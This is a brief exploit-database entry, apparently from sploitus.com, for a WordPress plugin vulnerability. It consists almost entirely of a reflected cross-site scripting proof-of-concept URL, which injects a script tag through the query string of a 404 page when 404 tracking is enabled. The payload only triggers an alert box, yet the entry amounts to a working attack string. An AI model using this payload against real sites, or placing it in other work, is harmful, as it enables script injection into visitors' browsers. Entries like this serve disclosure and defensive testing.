## https://sploitus.com/exploit?id=WPEX-ID:B8415ED5-6FD0-42FE-9201-73686C1871C5 When 404 tracking is enabled: https://example.com/aa404bb?a</script><script>alert(/XSS/)</script>